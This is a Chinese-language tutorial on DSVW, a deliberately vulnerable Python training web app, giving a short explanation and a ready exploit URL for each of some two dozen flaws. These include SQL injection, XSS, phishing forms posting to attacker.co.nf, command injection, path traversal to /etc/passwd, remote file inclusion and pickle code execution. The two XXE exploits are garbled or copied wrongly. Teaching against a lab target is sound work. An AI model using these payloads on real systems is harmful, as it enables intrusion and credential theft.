一款輕量級Web漏洞教學演示系統(DSVW)
Damn Small Vulnerable Web (DSVW) 是使用 Python 語言開發的 Web應用漏洞 的演練系統。其系統只有一個 python 的指令碼檔案組成, 當中涵蓋了 26 種 Web應用漏洞環境, 並且指令碼程式碼行數控制在了100行以內, 當前版本v0.1m。
其作者是 Miroslav Stampar, 對! 就是sqlmap同一個作者, 它支援大多數(流行的)Web漏洞環境與攻擊EXPLOIT, 同時各個漏洞環境還提供了相關說明與介紹的連結地址。
1 依賴環境
- python (2.6.x 或 2.7.x)
- 依賴 python-lxml
2 安裝使用
直接克隆或者下載github 中的 dsvw.py 指令碼檔案到本地。
$ git clone [email protected]:stamparm/DSVW.git
執行下面命令啟動。
$ python dsvw.py Damn Small Vulnerable Web (DSVW) < 100 LoC (Lines of Code) #v0.1k by: Miroslav Stampar (@stamparm) [i] running HTTP server at '127.0.0.1:65412'...
瀏覽器訪問 http://127.0.0.1:65412 截圖如下:
3. 基礎背景
3.1 資料庫
需要注意的是DSVW中的SQL資料庫使用的是SQLITE3, 並且建立了 users 與 comments 兩張表。
users 表
欄位名 |
欄位型別 |
---|---|
id |
INTEGER |
username |
TEXT |
name |
TEXT |
surname |
TEXT |
password |
TEXT |
users 表中的內容:
id |
username |
name |
surname |
password |
---|---|---|---|---|
1 |
admin |
admin |
admin |
7en8aiDoh! |
2 |
dricci |
dian |
ricci |
12345! |
3 |
amason |
anthony |
mason |
gandalf |
4 |
svargas |
sandra |
vargas |
phest1945 |
comments 表
欄位名 |
欄位型別 |
---|---|
id |
INTEGER |
comment |
TEXT |
time |
TEXT |
3.2 XML配置
<?xml version="1.0" encoding="utf-8"?><users> <user id="0"> <username>admin</username> <name>admin</name> <surname>admin</surname> <password>7en8aiDoh!</password> </user> <user id="1"> <username>dricci</username> <name>dian</name> <surname>ricci</surname> <password>12345</password> </user> <user id="2"> <username>amason</username> <name>anthony</name> <surname>mason</surname> <password>gandalf</password> </user> <user id="3"> <username>svargas</username> <name>sandra</name> <surname>vargas</surname> <password>phest1945</password> </user></users>
4 漏洞型別
4.1 注入漏洞
4.1.1 Blind SQL Injection (boolean)
基於布林型的盲注: HTTP請求的響應體中不會明確的返回SQL的錯誤資訊, 當把引數送入程式查詢時,並且在查詢條件為真的情況下返回正常頁面,條件為假時程式會重定向到或者返回一個自定義的錯誤頁面。
漏洞地址: http://127.0.0.1:65412/?id=2
EXPLOIT:
http://127.0.0.1:65412/?id=2 AND SUBSTR((SELECT password FROM users WHERE name='admin'),1,1)='7'`
4.1.2 Blind SQL Injection (time)
基於時間型的盲注: 與布林型盲注類似, 當把引數送入程式查詢時,通過判斷伺服器響應時所花費的時間, 如果延遲大於等於Payload中設定的值時就可判斷查詢結果為真, 否則為假。不同的BDMS使用的方法和技巧略有不同。
漏洞地址: http://127.0.0.1:65412/?id=1
EXPLOIT:
http://127.0.0.1:65412/?id=1 and (SELECT (CASE WHEN (SUBSTR((SELECT password FROM users WHERE name='admin'),2,1)='e') THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(300000000))))) ELSE 0 END))
這個漏洞環境用到了 SQLITE3 中的 CASE 視窗函式與 RANDOMBLOB 來實現的基於時間的盲注。 MSQL:
sleep(2)
MSSQL:WAITFOR DELAY '0:0:2'
4.1.3 UNION SQL Injection
基於聯合查詢注入: 使用UNION運算子用於SQL注入,UNION運算子是關聯兩個表的查詢結果。攻擊者故意偽造的惡意的查詢並加入到原始查詢中, 偽造的查詢結果將被合併到原始查詢的結果返回,攻擊者會獲得其他表的資訊。
漏洞地址: http://127.0.0.1:65412/?id=2,
EXPLOIT:
http://localhost:65412/?id=2 UNION ALL SELECT NULL, NULL, NULL, (SELECT id||','||username||','||password FROM users WHERE username='admin')
4.1.4 Login Bypass
登陸繞過: 這裡是基於SQL注入的一種繞過方式。登陸驗證的邏輯沒有驗證和過濾輸入字元直接帶到sql進行查詢,所以產生漏洞。
漏洞地址: http://localhost:65412/login?username=&password=
EXPLOIT:
http://localhost:65412/login?username=admin&password=' OR '1' LIKE '1
4.1.5 XML External Entity (local)
XML實體注入(本地): 在使用XML通訊的服務中(如: SOAP服務)。Web系統沒有驗證與使用者通訊中XML格式, 攻擊者可以構造惡意的XML檔案來訪問本地伺服器上的資源資訊。
漏洞地址: http://127.0.0.1:65412/?xml=%3Croot%3E%3C%2Froot%3E
EXPLOIT:
http://localhost:65412/login?username=admin&password=' OR '1' LIKE '1
4.1.6 XML External Entity (remote)
XML實體注入(遠端): 在使用XML通訊的服務中(如: SOAP服務)。Web系統沒有驗證與使用者通訊中XML格式, 攻擊者可以構造惡意的XML檔案來將受害伺服器的敏感資訊上傳到攻擊者的伺服器上嚴重的可以反彈shell。
漏洞地址: http://localhost:65412/login?username=&password=
EXPLOIT:
http://127.0.0.1:65412/?xml=]>&xxe;
4.1.7 Blind XPath Injection (boolean)
XPath注入: 與SQL注入類似,當網站使用使用者提交的資訊來構造XML資料的XPath查詢時,會發生XPath注入攻擊。
通過將有意的畸形資訊傳送到網站,攻擊者可以瞭解XML資料的結構,或訪問他通常不能訪問的資料。 如果XML資料用於認證(例如基於XML的使用者檔案),他甚至可以提升其在網站上的許可權。
漏洞地址: http://localhost:65412/login?username=&password=
EXPLOIT:
http://127.0.0.1:65412/?name=admin' and substring(password/text(),3,1)='n
XPath 是一門在 XML 文件中查詢資訊的語言。XPath 可用來在 XML 文件中對元素和屬性進行遍歷。 XPath 是 W3C XSLT 標準的主要元素,並且 XQuery 和 XPointer 都構建於 XPath 表達之上。 因此,對 XPath 的理解是很多高階 XML 應用的基礎。
4.2 跨站漏洞
4.2.1 Cross Site Scripting (reflected)
反射型跨站指令碼攻擊: 當攻擊者在單個HTTP響應中插入瀏覽器可執行程式碼(HTML或JAVASCRIPT)時, 會發生反射跨站點指令碼攻擊。
注入的惡意程式碼不會儲存在應用程式後端, 它是非永續性的,只會影響開啟惡意的連結或第三方網頁的使用者。
漏洞地址: http://127.0.0.1:65412/?v=0.2
EXPLOIT:
http://127.0.0.1:65412/?v=0.2<script>alert("arbitrary javascript")</script>
4.2.2 Cross Site Scripting (stored)
儲存型跨站指令碼攻擊: 儲存跨站指令碼是最危險的跨站指令碼型別, 其原理是Web系統會將攻擊者提交的惡意程式碼儲存到資料庫中或是伺服器後端裡。
只要受害者瀏覽到存在惡意程式碼頁面, 就被執行惡意程式碼。
漏洞地址: http://127.0.0.1:65412/?comment=
EXPLOIT:
http://127.0.0.1:65412/?comment=<script>alert("arbitrary javascript")</script>
4.2.3 Cross Site Scripting (DOM)
DOM型跨站指令碼攻擊: 基於DOM的跨站指令碼是XSS bug的事實上的名字,它是頁面上通常是JavaScript的活動瀏覽器端內容的結果,獲取使用者輸入,然後做一些不安全的事情,導致注入程式碼的執行。
漏洞地址: http://127.0.0.1:65412/?#lang=en
EXPLOIT:
http://127.0.0.1:65412/?foobar#lang=en<script>alert("arbitrary javascript")</script>
4.2.4 Cross Site Scripting (JSONP)
JSONP劫持: 網站中通過 JSONP 的方式來跨域(一般為子域)傳遞使用者認證後的敏感資訊時,攻擊者可以構造惡意的 JSONP 呼叫頁面,誘導被攻擊者訪問來達到擷取使用者敏感資訊的目的。
漏洞地址: http://127.0.0.1:65412/?#lang=en
EXPLOIT:
http://127.0.0.1:65412/?foobar#lang=en<script>alert("arbitrary javascript")</script>
4.2.5 Cross Site Request Forgery
跨站請求偽造: 會導致受害者在當前被認證的Web應用程式上執行一些 “非正常授權” 的操作。
通常這類攻擊需要藉助第三方(如:通過郵件、私信、聊天傳送連結等)的一些幫助,攻擊者可以強制Web應用程式的使用者執行攻擊者選擇的操作。當受害者是普通使用者時, CSRF攻擊可能會影響最終使用者資料和操作; 如果受害者是管理員帳戶,CSRF攻擊可能會危及整個Web應用程式系統的安全。
漏洞地址: http://127.0.0.1:65412/?comment=
EXPLOIT:
http://127.0.0.1:65412/?v=<img src="/?comment=<div style="color:red; font-weight: bold">I quit the job</div>">
這裡使用了<img>標籤來自動釋出了一個紅色字型的I quit the job評論。
4.3 其他漏洞
4.3.1 HTTP Parameter Pollution
HTTP引數汙染: 當使用GET或者POST方法提交引數時, 請求體中包含了多個相同名稱而不同值的引數。由於不同的語言與Web容器處理的方式不同, 結合業務場景會產生不同的影響。
通過利用這些影響,攻擊者可能能夠繞過輸入驗證,觸發應用程式錯誤或修改內部變數值等風險。
漏洞地址: http://127.0.0.1:65412/login?username=admin&password=
EXPLOIT:
http://127.0.0.1:65412/login?username=admin&password='/*&password=*/OR/*&password=*/'1'/*&password=*/LIKE/*&password=*/'1
這裡使用了HTTP引數汙染來模擬繞過WAF
4.3.2 Server Side Request Forgery
伺服器端請求偽造: 一種由攻擊者構造形成的指令並由服務端發起請求的一個安全漏洞。一般情況下,SSRF攻擊的目標是從外網無法訪問的內部系統資源。
漏洞地址: http://127.0.0.1:65412/?path=
EXPLOIT:
http://127.0.0.1:65412/?path=http://127.0.0.1:80
如果 IP 地址 127.0.0.1 開放了 80 埠, 那麼返回得到的資訊, 否則返回一個 500 錯誤。
4.3.3 Frame Injection (phishing)
Frame注入(釣魚): 屬於XSS的範疇, 將HTML的標籤注入到存在漏洞的HTTP響應體中, 如: iframe標籤。
漏洞地址: http://127.0.0.1:65412/?v=0.2
EXPLOIT:
http://127.0.0.1:65412/?v=0.2<iframe src="http://attacker.co.nf/i/login.html" style="background-color:white;z-index:10;top:10%;left:10%;position:fixed;border-collapse:collapse;border:1px solid #a8a8a8"></iframe>
4.3.4 Frame Injection (content spoofing)
Frame注入(內容欺騙): 同上原理。
漏洞地址: http://127.0.0.1:65412/?v=0.2
EXPLOIT:
http://127.0.0.1:65412/?v=0.2<iframe src="http://attacker.co.nf/i/login.html" style="background-color:white;z-index:10;top:10%;left:10%;position:fixed;border-collapse:collapse;border:1px solid #a8a8a8"></iframe>
4.3.5 Clickjacking
點選劫持: 是一種惡意技術,其包括欺騙Web使用者讓他們認為正在與互動的東西的互動(在大多數情況下通過點選, 這種技術手段運用最多的就是廣告)。
這種型別的攻擊可以單獨使用或與其他攻擊結合使用,在受害者與看似無害的網頁進行互動時,可能會發送未經授權的命令或洩露機密資訊。
EXPLOIT:
http://127.0.0.1:65412/?v=0.2<div style="opacity:0;filter:alpha(opacity=20);background-color:#000;width:100%;height:100%;z-index:10;top:0;left:0;position:fixed;" onclick="document.location='http://attacker.co.nf/'"></div><script>alert("click anywhere on page");</script>
4.3.6 Unvalidated Redirect
未驗證的重定向: 當Web應用程式接受不受信任的輸入時,可能會導致Web應用程式將請求重定向到包含在不受信任的輸入中的URL,從而可能導致未經驗證的重定向和轉發。
通過將不受信任的URL輸入修改為惡意網站,攻擊者可能會成功啟動網路釣魚詐騙並竊取使用者憑據。
由於修改連結中的伺服器名稱與原始網站相同,因此網路釣魚嘗試可能具有更可信的外觀。未驗證的重定向和轉發攻擊也可用於惡意製作一個URL,該URL將通過應用程式的訪問控制檢查,然後將攻擊者轉發到他們通常無法訪問的特權功能。
漏洞地址: http://127.0.0.1:65412/?redir=
EXPLOIT:
http://127.0.0.1:65412/?redir=http://attacker.co.nf
4.3.7 Arbitrary Code Execution
任意程式碼執行: 開發人員沒有嚴格驗證使用者輸入的資料, 在某些特殊業務場景中, 使用者可構造出惡意的程式碼或系統命令, 來獲得伺服器上的敏感資訊或者得到伺服器的控制權限。
漏洞地址: http://127.0.0.1:65412/?domain=www.google.com
EXPLOIT:
http://127.0.0.1:65412/?domain=www.google.com; ifconfig
4.3.8 Full Path Disclosure
完整路徑洩露: 全路徑洩露漏洞使攻擊者能夠看到Web應用程式在伺服器端的完整路徑(例如:/var/www/html/)。攻擊者會結合其他漏洞對Web系統進一步的攻擊(如: 寫 Webshell)。
漏洞地址: http://127.0.0.1:65412/?path=
EXPLOIT:
http://127.0.0.1:65412/?path=foobar
4.3.9 Source Code Disclosure
原始碼洩露: 該漏洞會造成允許未授權使用者獲得伺服器端應用程式的原始碼。此漏洞會造成企業內部的敏感資訊洩露或容易遭受惡意攻擊者攻擊。
漏洞地址: http://127.0.0.1:65412/?path=
EXPLOIT:
http://127.0.0.1:65412/?path=dsvw.py
4.3.10 Path Traversal
路徑穿越: 路徑遍歷攻擊(也稱為目錄遍歷)旨在訪問儲存在Web根資料夾外部的檔案和目錄。通過使用 “../” 或 “..” 等相對檔案路徑方式來操縱引用檔案的變數,該漏洞會允許訪問儲存在檔案系統上的任意檔案和目錄。
漏洞地址: http://127.0.0.1:65412/?path=
EXPLOIT:
http://127.0.0.1:65412/?path=../../../../../../etc/passwd
4.3.11 File Inclusion (remote)
遠端檔案包含: 通常利用目標應用程式中實現的 “動態檔案包含” 機制,允許攻擊者包括一個遠端檔案。 由於對使用者輸入的資料沒有進行適當的驗證,導致出現漏洞。
漏洞地址: http://127.0.0.1:65412/?include=
EXPLOIT:
http://127.0.0.1:65412/?include=http://pastebin.com/raw.php?i=N5ccE6iH&cmd=ifconfig
4.3.12 HTTP Header Injection (phishing)
HTTP響應頭拆分(釣魚): 使用者提交的部分引數, 沒有經過驗證或過濾直接在響應頭中輸出, 由於HTTP的Header中使用了CRLF(url中的%0d%0a)來分割各個欄位中的資料。惡意使用者可以構造特殊的資料應該欺騙釣魚。
漏洞地址: http://127.0.0.1:65412/?charset=utf8
EXPLOIT:
http://127.0.0.1:65412/?charset=utf8%0D%0AX-XSS-Protection:0%0D%0AContent-Length:388%0D%0A%0D%0A<!DOCTYPE html><html><head><title>Login</title></head><body style='font: 12px monospace'><form action="http://attacker.co.nf/i/log.php" onSubmit="alert('visit 'http://attacker.co.nf/i/log.txt' to see your phished credentials')">Username:<br><input type="text" name="username"><br>Password:<br><input type="password" name="password"><input type="submit" value="Login"></form></body></html>
4.3.13 Component with Known Vulnerability (pickle)
使用含有已知漏洞的元件(pickle): pickle存在一個檔案序列化漏洞。
漏洞地址: http://127.0.0.1:65412/?object=%28dp0%0AS%27admin%27%0Ap1%0A%28S%27admin%27%0Ap2%0AS%27admin%27%0Ap3%0Atp4%0AsS%27dricci%27%0Ap5%0A%28S%27dian%27%0Ap6%0AS%27ricci%27%0Ap7%0Atp8%0AsS%27amason%27%0Ap9%0A%28S%27anthony%27%0Ap10%0AS%27mason%27%0Ap11%0Atp12%0AsS%27svargas%27%0Ap13%0A%28S%27sandra%27%0Ap14%0AS%27vargas%27%0Ap15%0Atp16%0As.
EXPLOIT:
http://127.0.0.1:65412/?object=cos%0Asystem%0A(S%27ping%20-c%205%20127.0.0.1%27%0AtR.%0A
這裡執行了ping -c 5 127.0.0.1 命令
4.3.14 Denial of Service (memory)
拒絕服務(memory): 資源消耗型的 DoS 攻擊, 通過大量的惡意請求來訪問有缺陷的服務, 從而造成伺服器的系統資源消耗(如: CPU利用率100%、記憶體耗盡等) 增大, 來影響正常使用者的使用。往往會造成正常使用者的無法開啟或無法訪問等一系列問題。
漏洞地址: http://127.0.0.1:65412/?size=32
EXPLOIT:
http://127.0.0.1:65412/?size=9999999
5 參考連結
https://github.com/stamparm/DSVW
https://www.owasp.org/index.php/Testing_for_SQL_Injection_%28OTG-INPVAL-005%29
https://www.owasp.org/index.php/Testing_for_CSRF_%28OTG-SESS-005%29
https://www.owasp.org/index.php/Testing_for_HTTP_Parameter_pollution_%28OTG-INPVAL-004%29
https://www.owasp.org/index.php/Testing_for_XML_Injection_%28OTG-INPVAL-008%29
https://www.owasp.org/index.php/XPATH_Injection
http://www.w3school.com.cn/xpath/
https://www.owasp.org/index.php/Testing_for_Reflected_Cross_site_scripting_%28OTG-INPVAL-001%29
https://www.owasp.org/index.php/Testing_for_Stored_Cross_site_scripting_%28OTG-INPVAL-002%29
https://www.owasp.org/index.php/Testing_for_DOM-based_Cross_site_scripting_%28OTG-CLIENT-001%29
http://blog.knownsec.com/2015/03/jsonp_security_technic/
https://sobug.com/article/detail/11
https://www.owasp.org/index.php/Content_Spoofing
https://www.owasp.org/index.php/Testing_for_Clickjacking_%28OTG-CLIENT-009%29
https://www.owasp.org/index.php/Unvalidated_Redirects_and_Forwards_Cheat_Sheet
https://www.owasp.org/index.php/Full_Path_Disclosure
https://www.imperva.com/resources/glossary?term=source_code_disclosure
https://www.owasp.org/index.php/Path_Traversal
https://www.owasp.org/index.php/Testing_for_Remote_File_Inclusion
https://www.owasp.org/index.php/HTTP_Response_Splitting
http://www.moqifei.com/archives/609
https://www.owasp.org/index.php/Denial_of_Service